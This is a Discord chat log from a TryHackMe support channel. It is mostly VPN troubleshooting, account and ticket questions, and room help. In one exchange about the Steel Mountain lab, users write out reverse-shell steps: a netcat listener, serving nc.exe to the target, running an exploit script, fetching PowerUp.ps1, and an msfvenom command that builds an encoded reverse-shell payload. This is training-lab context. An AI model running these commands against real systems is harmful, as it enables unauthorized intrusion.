2022-09-10 15:59:47 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2022-09-10 15:59:47 Incoming Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2022-09-10 15:59:47 TCP/UDP: Preserving recently used remote address: [AF_INET]54.193.147.96:1194
2022-09-10 15:59:47 Socket Buffers: R=[212992->212992] S=[212992->212992]
2022-09-10 15:59:47 UDP link local: (not bound)
2022-09-10 15:59:47 UDP link remote: [AF_INET]54.193.147.96:1194

after adding data-ciphers in config:

2022-09-10 16:01:27 --cipher is not set. Previous OpenVPN version defaulted to BF-CBC as fallback when cipher negotiation failed in this case. If you need this fallback please add '--data-ciphers-fallback BF-CBC' to your configuration and/or add BF-CBC to --data-ciphers.
2022-09-10 16:01:27 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on May 14 2021
2022-09-10 16:01:27 library versions: OpenSSL 1.1.1n  15 Mar 2022, LZO 2.10
2022-09-10 16:01:27 Outgoing Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2022-09-10 16:01:27 Incoming Control Channel Authentication: Using 512 bit message hash 'SHA512' for HMAC authentication
2022-09-10 16:01:27 TCP/UDP: Preserving recently used remote address: [AF_INET]54.193.147.96:1194
2022-09-10 16:01:27 Socket Buffers: R=[212992->212992] S=[212992->212992]
2022-09-10 16:01:27 UDP link local: (not bound)
2022-09-10 16:01:27 UDP link remote: [AF_INET]54.193.147.96:1194

[weak sigil]

Help i can't not connect VPN tryhackme EU-1-2 VIP and Us-VIP

[crystal marlin]

Looks like cipher issue: #site-support message

[wary lagoon]

hi, I wrote two email, one concerning tickets earned by inviting friends ([e-mail]) and the other to ask some information about a prize I won ([e-mail]), but I haven't received a reply yet (I've been waiting for 2/3 days). Is that normal?

[weak sigil]

Thank you

[scenic torrent]

Gave +1 Rep to @crystal marlin

[hushed vigil]

why is openvpn so broken on windows

[autumn fox]

Try using non vip gateways. Helped me yesterday.

In room https://tryhackme.com/room/lateralmovementandpivoting I cannot reach the DC neither through VPN nor directly from the attack box.

Could someone please have a look at this?

Thanks 🙂

[hushed vigil]

i dont have a student email how can i prove i am a student?

[weary spindle]

Do you have any documentation from your campus you're a student?

[hushed vigil]

yes

[weary spindle]

Then you can use that when you E-mail support.

[hushed vigil]

hmm

but theres my whole info

[weary spindle]

I'm sure Jabba wouldn't ask got anything that would dox you.

[hushed vigil]

wait

i have email

but i dont think they would recognize it

ill try

[weary spindle]

Try the E-mail first. 🙂

[hushed vigil]

oh wow

they did

i am always asking dumb questions to you excuse me

[weary spindle]

No such thing as dumb questions friend.

[ancient summit]

Same, I can't connect to US-VIP too

It happened in the middle of win privesc room

[hushed vigil]

thank you

[scenic torrent]

Gave +1 Rep to @weary spindle

[ancient summit]

strangely it is working on openvpn 2.5.7, but not in 2.5.1

Changing server to EU-vip solve the problem

[hushed vigil]

i had done 3 rooms and got 1 ticket each how can i get the other one

[weary spindle]

Are you a free user?

[hushed vigil]

i subbed one hour ago

[weary spindle]

Did you do the rooms before or after the sub?

[hushed vigil]

before

[weary spindle]

That's why.

I don't think you can repeat the rooms and get the additional ticket for being a sub.

[hushed vigil]

oh

[weary spindle]

You need to verify.

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[weary spindle]

Follow the link.

Does that room have a webserver at port 80?

[autumn fox]

Network has been resetted. All resources are reachable again. Issue is solved.

[timber coral]

Hello, I'm stuck

Question:
What is Elliot’s way of hiding his secret data?

Link:https://hubchallenges.s3.eu-west-1.amazonaws.com/foren/elliot_secrets.bin

Pls help me

[simple needle]

is there a way to get kali linux on vmware on an m2 macbook?

[unborn blade]

America

[weak sigil]

tryhackme have Room linux buffer overflow ?

[hushed vigil]

whats this

[weary spindle]

You got the red teamer role.

"Pentester" hasn't been changed in the THM bot.

[hushed vigil]

ah ok

[weary spindle]

This room is more aimed at THM content.

You could try #general

[hushed vigil]

are you a mod or sth on thm?

[weary spindle]

Nope.

[hushed vigil]

lol

you are always answering questioins

and helping

[weary spindle]

I like to be helpful.

[hushed vigil]

you do more than some mods i think

[weary spindle]

No, that's not true. 🙂

[hushed vigil]

not sure about that

[weary spindle]

Sometimes also, the advice I give out, isn't the right advice.

I just said they go to General as they will get an answer faster.

[hushed vigil]

but how is over the half claimed in 1 day

[weary spindle]

Oh, lot's of people.

[hushed vigil]

did you already get anything?

[weary spindle]

🙂 I'm just waiting for the E-mail to confirm if I have won,

However I claimed in the first few hours of release, so that's hopeful too.

[hushed vigil]

won what?

[weary spindle]

https://tryhackme.com/p/ScrubZ

Check my tickets 😄

[hushed vigil]

oh the hak5pineapple

whats that even

[weary spindle]

https://shop.hak5.org/products/wifi-pineapple

[hushed vigil]

i hope you win

you deserve it

[weary spindle]

Thank you 😄

[scenic torrent]

Gave +1 Rep to @hushed vigil

[hushed vigil]

yoo my first rep

[weary spindle]

Really? 😄

[hushed vigil]

i think so

[simple needle]

okay thanks

[scenic torrent]

Gave +1 Rep to @weary spindle

[digital kiln]

How do I kill all running machines?

[weary spindle]

#site-support message

[digital kiln]

legend, ty

[foggy vessel]

hello there, i've installed openVPN and i set it up with the configuration file but now i dont know how to proceed to actually use it as an attack box/virtual machine to complete tasks

any help would be awesome 🙂

[plush bay]

https://www.youtube.com/watch?v=l97dVIKlmVg

follow along

then download the vpn file into that virtual box virtual machine and install the openvpn thingy using apt and then run it using sudo openvpn /path/to/.ovpn

[foggy vessel]

an ubuntu virtual machine works too ?

[plush bay]

yes but that needs a lot more installing of packets and tools that you might not know how to install if you are not familiar with linux

[foggy vessel]

well how familiar are we talking about

i mean i can use the terminal and stuff

kali is much more oriented hacking that's why its easier here right?

[plush bay]

yuups.... it comes with nearly all the tools you need for hacking stuffs

[foggy vessel]

oh okay

well ty very much for ur help 😁

[plush bay]

no problem

[bronze vale]

Hey, this chat is more for site tech-support. If you’re completing a room that requires the tool, checkout #room-help else #infosec-general

[calm pine]

how do i claim the 20% student discount?

[weary spindle]

Do you have a student E-mail?

[crystal marlin]

!docs student

[sharp bison]

TryHackMe

Redeem your student discount!

https://help.tryhackme.com/billing/student-discount

From TryHackMe with ❤!

[calm pine]

Oh thanks,

[harsh quarry]

Hi guys, im doing the windows privesc room by tibs. But my rdp session keeps going down on my kali. could anyone assist?

[lavish kelp]

I can't join the voicechat for tryhackme, but I can join voicechats on other channels. My phone number is verified. Clicking on a voice chat channel on the tryhackme discord just doesn't do anything. Any ideas?

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[lavish kelp]

It says my token is used by another profile. How do I get my tryhackme account attached to this Discord?

How do I post a photo into discord?

I tried asking one but the message was undeliverable, who do I ask?

@gray loom

Thanks! @gray loom

[scenic torrent]

Gave +1 Rep to @gray loom

[stray cove]

Do you still have access to the old account?

[lavish kelp]

No

The tryhackme website account I do

[stray cove]

Message me (hydragyrum) with the thm messaging system

[lavish kelp]

ok

@stray cove how do I do that?

@How do I use the THM messaging system on the website?

[loud ice]

Hi, i can't DM the bot :(

[lavish kelp]

@stray cove your name is not coming up in the recipient options

[stray cove]

Same name as this one but with a lowercase

[crystal marlin]

Allow private messages from server members in the privacy settings for this server

[loud ice]

Oh yea, thx !

[scenic torrent]

Gave +1 Rep to @crystal marlin

[lavish kelp]

I can't get any usernames to pop up in the recipient search bar

I got @crystal marlin name to pop up in the search bar, but I can't send a message nonethelesss

@gray loom @stray cove

Would love to post a screenshot but...

@stray cove does not come up upper case or lower. Does not send even if I put a name in it recognizes, like Fontaene

[crystal marlin]

Please be patient, there is no need to ping all 3 of us.
Regardless of the ping, Hydra is already taking care of you, so wait for their reply 🙂

[stray cove]

Hmm that's odd, what's your username?

[lavish kelp]

TotalNormie @stray cove

Tried with google chrome and firefox @stray cove

[azure mountain]

Thanks @bronze vale, will do

[scenic torrent]

Gave +1 Rep to @bronze vale

[lavish kelp]

Since Hydragyrum has moved on, can I ask you to help me @crystal marlin ?

[stray cove]

I pinged you on THM

[sturdy vapor]

Hello, not sure where to out this but I believe there is a potential bot user

987912954680860764

Here is their id

The message was a phishing credit card message, saying I could get “hacked”credit cards

Enyluap#0104 is the user that sent me the messages

@stray cove

I can send/post images as well

of the message

[crystal marlin]

DM me a screenshot pls

[sturdy vapor]

Yes

[crystal marlin]

-ban 987912954680860764 Carding Scam

[scenic torrent]

🔨 Banned Enyluap#0104 indefinitely

[crystal marlin]

Thanks for reporting

[sturdy vapor]

No problem, thank you for the help

Btw is this the proper channel to post this kinda stuff?

[crystal marlin]

Should be fine here yes

[sturdy vapor]

👍

[knotty pivot]

Hello. I'm unable to access this room Learn Linux and here's the link https://tryhackme.com/room/zthlinux. It says "If this is an error on our behalf. Please contact us." Can anyone be able to help me in this case?

[proven fulcrum]

Guys i am unable to see the learning paths it takes me here https://tryhackme.com/paths and this does not load anything.

yes tried different browsers

oh it loaded now thanks

[zinc fable]

Guys I can't get a connection from any of the thm machines.
Reverse shells even grabbing stuff from the python webserver

Nothing at all

Noope

Kali is dual-booted with my windows

Never mind
I remembered installing the ufw package while doing one of the rooms on the red teaming path

I just allowed the port now

Thanks for the help tho @gray loom

[scenic torrent]

Gave +1 Rep to @gray loom

[novel forum]

I was doing Red Team path, Completed 3 rooms, But then completing "Learn & win prizes - Fall 2022" All my previous tickets are not showing

[full fulcrum]

I have the same problem :C

[haughty hornet]

@torn citrus my friend has same problem as @novel forum

@tawdry orbit

@zealous yoke

@sand olive

[sand olive]

@bronze vale there is an oopsie it seems

[bronze vale]

Please don't spam ping people, especially has everyone you have pinged can't do anything to help you

[bronze vale]

We're investigating thanks for the ping:)

[scenic torrent]

Gave +1 Rep to @sand olive

[sand olive]

[haughty hornet]

ait

[haughty hornet]

https://tryhackme.com/p/TheLinuxBoy

mine friend

that has this problem

[novel forum]

privescplayground - Any plan on getting the room online again?

[naive dust]

same with me, all my tickets are not showing

[alpine tangle]

Hi lads, is there anyway I can change my account country, and the username? I believe I have registered while accessing VPN thus basing my account in a different country ;-;

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[alpine tangle]

Thank you @gray loom !

[scenic torrent]

Gave +1 Rep to @gray loom

[hot ridge]

Hi, I'm trying to install a fresh Kali Linux on VMware workstation pro 16. On bootup, the screen turns black. I think I've narrowed the issue down to the light display manager and a greeter that has failed to start but I don't know how to further solve the issue. Any and all help would be appreciated!

Also forgot to mention that when I try to install the drivers I get either a package not found or command not found error using apt-get apt install etc.

[foggy loom]

The target websites load incredibly slowly through the vip vpn, mainly because they fetch assets from outside of the network and it's slow. Can I speed this up somehow?

[foggy loom]

Turns out this can be accessed without the vpn too

Then why is it horribly slow to load when the VPN is enabled? Or is the VPN so overloaded that not even a couple of kb can get through? I'm trying https://10-10-105-43.p.thmlabs.com/level1 and the first load goes somewhat fine through, but when I enter something in the field that takes minutes to load when the VPN is on, but less than a second when I turn the VPN off

That is equally slow through the VPN, at least I can access it through that domain without the VPN

I download the file from the website and enter it to the kali ethernet connection menu on top of the screen, then connect to the vpn

oh, okay

alright, will do that. Thanks!

Yes that works way better

[weak stratus]

Hello, please I am working on the adventofcyber3 room and I am on day 2 and unable to create an account in the website

[crystal marlin]

The error you are getting is intended to be like that 🙂

[weak stratus]

oh really

thanks

[safe rain]

Hi, anyone else on US-West-VIP-1 VPN experiencing latency with reaching boxes? I'm doing a Xmas scan on a box for the Offensive Sec Brainstorm room, and it says it'll take 2 hours to complete the scan roughly. I've tried stopping the machine and starting a new one.

Also, it's possible packets are being dropped, since I was getting inconsistent results with nmap and rustscan.

[safe kraken]

Posted here a couple days ago about Steel Mountain task 4. I am still getting the GET /nc.exe on my python server, but no callback from netcat

I even chmod +x the nc.exe and got it from the location on github that THM recommended

can anyone else please try this room and see if they get the same thing as me so I can just move on and skip this?

I would appreciate it

sudo python3 -m http.server 80

is what I used

sudo nc -lvnp 1234

then netcat on my machine

sudo python exploit.py <target IP> 8080

then I ran this twice

still no dice

Ive tried many different ports other than 1234. Tried 443, 445, 4455, 4456, 4444, and 4446, maybe a couple more

[somber spindle]

the room requires u to download nc.exe or have u looked into any write up?

[safe kraken]

yeah, I have three writeups open right now, all of them did the same thing as me, just used different ports for nc callback

i downloaded nc.exe from the provided link on the room page on THM website

[somber spindle]

u have all this on your kali machine in the same folder yet?

[safe kraken]

I dont have Adanced.exe or PowerUp.ps1 yet because I'm going straight to w/o metasploit

[somber spindle]

anyway let's go to #room-help

[safe kraken]

but I have 39161.py and nc.exe

I was told to post here due to it being a bug with the room.

It was a couple days ago, two users here walked me through it and couldn't figure out the issue.

[somber spindle]

ahh

can u download powerup.ps1 and generate advanced.exe

wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

msfvenom -p windows/shell_reverse_tcp LHOST=youriphere LPORT=4443 -e x86/shikata_ga_nai -f exe -o Advanced.exe

[safe kraken]

I would, but I'm doing task 4 right now

trying to get the without metasploit portion, and from what I understand powerup.ps1 is only used in task 3

with metasploit

well nevermind, I guess I just had to wait 20 minutes on this server

I guess James S. was right above

[somber spindle]

ahh alright

[safe kraken]

I just let the thing sit there forever and now its working.

pretty frustrating

For the purpose of those searching, task 4 of Steel Mountain may require some wait time after the exploit is run for the first time

wait 20 min or so

[somber spindle]

so it's only require nc.exe from this python script

[safe kraken]

yeah

[somber spindle]

did u change ip address in the script?

[safe kraken]

and the python script to run it

yea

its working now

[safe kraken]

just took way too long

thanks again

[somber spindle]

When i was doing it, it didn't take long for me but u're welcome

[naive dust]

ifconfig is showing global instead of tun0

can ya copy and paste the output?

ether 3c:95:09:85:cc:dd txqueuelen 1000 (Ethernet)
RX packets 3815635 bytes 4199401304 (3.9 GiB)
RX errors 0 dropped 18 overruns 0 frame 0
TX packets 1788945 bytes 314070905 (299.5 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ah i mean the full output like this,

eth0: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
ether 3c:52:82:07:c3:20 txqueuelen 1000 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1421 bytes 91265 (89.1 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1421 bytes 91265 (89.1 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.8 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 fe80::9e57:c40d:7b6d:6032 prefixlen 64 scopeid 0x20<link>
inet6 fd00:664b:6263:bb00:349:9839:a2a0:685e prefixlen 64 scopeid 0x0<global>
ether 3c:95:09:85:cc:dd txqueuelen 1000 (Ethernet)
RX packets 3822047 bytes 4205868945 (3.9 GiB)
RX errors 0 dropped 18 overruns 0 frame 0
TX packets 1791800 bytes 314626359 (300.0 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

ok cool so now

restart

the website?

reboot your computer/pc

aah this requires a reboot
i could just shut down and the vpn will go off..
what should i see after restart?

dont shut down

reboot

is the key here

it will clear off any background programs

openvpn in ur case

after that openvpn should work normally

and i need to do it everytime i want to disconnect from it?

no

just for this once

scrubz is here

the next time i want to disconnect from it what shoukd i do?

hi Scrubz

[naive dust]

control + c

[weary spindle]

👋

[naive dust]

and if the terminal was already closed ?

either you can kill the session with gui

or with terminal

so i have to redo this and reboot xd

[weary spindle]

Ctrl and C would be best before closing.

There is a rare case of just closing terminal and the script still running meaning you'll have multiple tun* connections.

[naive dust]

aah so i just need to close the terminal after reboot and that's it
and sudo killall openvpn also worked
thanks alot guys 🙂 have a good day

[tropic sun]

Hey ! I'm in a network who's blocking UDP connection through openvpn, there is a way to force thm.ovpn to use TCP ?

[weary spindle]

No, you could ask who ever controls the network to unblock UDP 1194.

Otherwise you'll need to use the Attackbox.

[tropic sun]

@weary spindle Thanks for your reactivitie ❤💪

[scenic torrent]

Gave +1 Rep to @weary spindle

[tame solar]

Can somone check the gophish website form the phishing room?

the page looks to be loading for the last 5 minutes and any button i press it wont load

[weary spindle]

Can you share the ip?

[tame solar]

you have to load a machine for it

[weary spindle]

I can use yours.

[tame solar]

oh oki

https://10-10-56-70.p.thmlabs.com:8443/sending_profiles

admin:tryhackme

[weary spindle]

I can log in via the URL you supplied.

And just by using the ip.

[tame solar]

huh

can you go to the sending profiles page and see if you can press the button?

if it loads i mean

[tame solar]

press the new profile button

[tame solar]

ok wth

ill restart the machine

really weird stuff

idk what causes it to break with my vm

[weary spindle]

Next machine, try just using the machine ip.

[tame solar]

oki

[dull nymph]

So I accidentally linked my profile to my other discord account

How can I link it in here?

[crystal marlin]

Log to your other account and DM me

[dull nymph]

Done, it's with the same name

[crystal marlin]

!tokenremove 852767882525540374

[sharp bison]

Done, no more entry with UID "852767882525540374".

[dull nymph]

Thanks!

[scenic torrent]

Gave +1 Rep to @crystal marlin

[naive dust]

Hi guys can someone explain what's going on here.

Hello someone available

[weary spindle]

What's up?

[naive dust]

No I mean what's the main objective of this channel

[weary spindle]

This is for Tech support for Tryhackme.

[naive dust]

Not to teach about programing or related areas right.

[weary spindle]

No, they use the website for teaching.

However there is relevant channels you can ask questions in, providing it's not aiding you in an exam, job interview etc.

[naive dust]

Okay how can I start hacking course

[weary spindle]

#start-here

[tardy shell]

Hi, can I change my username on TryHackME

[crystal marlin]

#site-support message

[tardy shell]

THanks!

[bitter dirge]

anyone else getting this issue on the new redteam path?

im doing the recon-ng module

[potent minnow]

i had that too @bitter dirge , but don't remember if i ever solved it

[bitter dirge]

Yeah, ive checked im doing it right

[potent minnow]

fwiw @bitter dirge i tried the same from my local vm, thinking maybe the attackbox is the cause but i'm still getting the same result. also did some googling and it seems the issue is unresolved

[bitter dirge]

ight thanks chief, just gonna wait

[scenic torrent]

Gave +1 Rep to @potent minnow

[bitter dirge]

as youre going through this

im also stuck on the crunch question

I read a forum and it says you need the ^ for crunch

but im totally stuck

[potent minnow]

the answer is found here

also, the ' is not used

[glad egret]

I'm having issues with RDP in the Runtime Detection Evasion room. Is anyone else having an issue too?

Sometimes I can connect, but then it'll disconnect soon after

[fierce iris]

in the yara room

[glad egret]

Can you confirm that you're in the right path?

[digital sinew]

Can i get subscription using coupon? if i buy this coupon using my one account and apply it on that account?

[somber spindle]

u ran --update yet?

[crude kettle]

not sure if this is the right channel but how do i update my country

i cant find it anywhere on my profile

[somber spindle]

#general message

[crude kettle]

thanks!

[scenic torrent]

Gave +1 Rep to @somber spindle

[rancid bramble]

I am getting this error connecting to vpn

i tried generating ovpn files many times but the error remains

[fierce iris]

update is a command for Loki and i'm not gonna use it since i'm using the attack box

and even if i wanted to

Loki doesn't work to begin with

[somber spindle]

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[somber spindle]

try running this

[rancid bramble]

i am only getting on throwback machine else are wroking fine

[rancid bramble]

still

[somber spindle]

connect to vpn first

[rancid bramble]

its giving me this error when connecting

anyone from @staff ?

[broken bear]

Regenerate the VPN profile, wait 60 seconds, download again and try that one. If the certificate is invalid, there isn't much anyone can do to fix that file.

[rancid bramble]

i regenerate it, but still it is showing as invalid i tried this process 5 to 6 times

[rancid bramble]

is there any solution for that

there is only one server in throwback

any other way to contact THM-support?

[weary spindle]

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[rancid bramble]

lets try this one

no success

[rancid bramble]

they rarely respond😢 subscription will be gone until then🤦‍♂️

[weary spindle]

Due the ticket event and other things, support is swamped.

[pastel phoenix]

hey guys quick question the presecurity certification i finished it in the past but there was 3 more rooms added so when i finished those the date on the certification was not adjusted to the current date why is that ?

[crystal marlin]

Once generated, they are not getting regenerated

[pastel phoenix]

i see so they don't get updated with the more rooms added

[crystal marlin]

Ye, same as with the name, once generated you can not change the name on it anymore

[pastel phoenix]

will that be changing in the future or it will stay like that ?

[crystal marlin]

No idea

[pastel phoenix]

okay doki thankss

[cedar crest]

I want to practice Active Directory Throwback Labs

why does the system ask me for payment when i am a VIP user ?

[crystal marlin]

Because Throwback is a paid network not included in the subscription

[cedar crest]

What machines are good to practice active directory inTHM

[crystal marlin]

There is a quite new module on that: https://tryhackme.com/module/hacking-active-directory

[cedar crest]

I have done module Compromising Active Directory

i want to know what AD machines can I now on my own

[crystal marlin]

Not sure, you might have to use the search function to look for that.
Other than that, maybe https://tryhackme.com/room/hololive

[cedar crest]

thank You

[fierce copper]

thanks sorryu

[cedar crest]

I am working on VulnNet: Roasted but i cant seem to ping the host naymore, I was able to do this earlier today
I have reset my pc and terminated VulnNet: Roasted
i have also redownloaded my vpn pack

Some support on this please

My wireshark out put show pings are being sent but no response

so I ran autorecon and tht does not work anymore

autorecon was fine earlier today

autorecon does not find any ports open

the box needs a reset

i have proof when i ran autorecon earlier today it gave me a full report

[naive dust]

I have a problem: I deleted my previous discord account. I have this new account right now and I want to get roles in here. But when i send the message to TryHackMe bot, it gives me this message "Sorry this token is already used by someone." How can I solve this problem?

[weary spindle]

You'll need to contact a mod for them to remove your old token from the old account.

[naive dust]

ok, I'll wait someone.Don't want to dm people without consent

[crystal marlin]

Send me your token via DM pls

[sacred sparrow]

hmm, can't access any machines or connect to 10.10.10.10 with my vpn on

openvpn 2.5.7

please help

openvpn say's im connected

[crystal marlin]

Coult you show an output of openvpn when connecting to it?

[sacred sparrow]

there

[crystal marlin]

What you get when doing curl 10.10.10.10/whoami ?

[sacred sparrow]

*   Trying 10.10.10.10:80...
* connect to 10.10.10.10 port 80 failed: Connection timed out
* Failed to connect to 10.10.10.10 port 80 after 130769 ms: Connection timed out
* Closing connection 0
curl: (28) Failed to connect to 10.10.10.10 port 80 after 130769 ms: Connection timed out

with -vvv

[crystal marlin]

Did you try to regenerate your ovpn file on the THM access page already?

And download a new one

[sacred sparrow]

yep

[crystal marlin]

Any personal vpn running on your host machine, in case you are using a VM as your attacking machine ?

[sacred sparrow]

tailscale

[crystal marlin]

Disable that and try again

[sacred sparrow]

k

[fierce iris]

any help

[rancid bramble]

Anyone from THM support/Staff ?, my issue is still unresolved

**Throwback vpn file is not working **

[plush bay]

have you tried regenerating the vpn file???

[rancid bramble]

more than 10 times

[plush bay]

okay then that might not be the problem.....

!vpnscript

[sharp bison]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[rancid bramble]

servers other than throwback workking fine

[plush bay]

have you tried this???

[rancid bramble]

yes already tried

[rancid bramble]

.

[plush bay]

left room..... rejoined... regenerate vpn config file... try again???

[rancid bramble]

ss of..runing the script

[rancid bramble]

done

[plush bay]

fair enoughs then

guess an email to support might be the best course of action

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[plush bay]

also be prepared that might take some days to get a response

[rancid bramble]

what to do now its almost a day passed but no response from support either

[plush bay]

be patient as the email to support can take up to a week...

[rancid bramble]

but subscription wont last that long

[plush bay]

then shadow assumes they will give you more days when they get to it

[rancid bramble]

would it work if I take some other user vpn ?

[plush bay]

dunno and not sure if you are allowed to do that because of the terms of service

[rancid bramble]

seriously 😲? but what about their shitty support

[plush bay]

they are overwhelmed due to the ticket event right now..... so that might be part of the delay....

and near 95% sure they will extend your throwback access when they find the problem and have time to help you so would not really call their support shitty

except for maybe taking more time then ideal

[rancid bramble]

thts not the first time I am experiencing this, its a usual thing

[plush bay]

complaining to shadow will not make it better as shadow is not tryhackme staff

[coral hound]

Hello Team my vpn is not working

kindly request to help me to resolve problem

[weary spindle]

Uh..

Define not working?

It would be better if you could verify and provide with us screenshots.

!docs verify

[sharp bison]

TryHackMe

Verify your TryHackMe Profile!

https://help.tryhackme.com/community/discord

From TryHackMe with ❤!

[coral hound]

Sure I'll attack here but I'm not getting attachmnt option

maybe I need to look more in discord I'm new here

[weary spindle]

If you follow the link or DM @sharp bison

It will take you through the step process to verify.

[coral hound]

Kindly check your DM

[weary spindle]

Kindly please don't DM me unless you have permission.

[coral hound]

Sorry

I have verified account now kindly check below screenshot

I have generated new vpn

I'm getting connection error from today

[weary spindle]

Oh, it's Throwback.

Sorry, I can't any help with that.

[coral hound]

Then how can i resolve this any idea?

[coral hound]

@river gust can you help to resolve my vpn error

[coral hound]

@foggy rover

[weary spindle]

Don't ping stuff, someone will get to you.

Otherwise E-mail support.

!email

[sharp bison]

TryHackMe

Contact us for support, teaching enquires and more!

[e-mail]

From TryHackMe with ❤!

[rancid bramble]

same

[coral hound]

Maybe there is something wrong on thm side

I tired to connect with older VPN file but that was also not connecting

[red bramble]

Hey there, could I possibly get my roles back? My other account just got wrongfully banned from discord itself. Its @hollow moon

[robust copper]

yes

it shows my tun0 ip addr

[crystal marlin]

You there?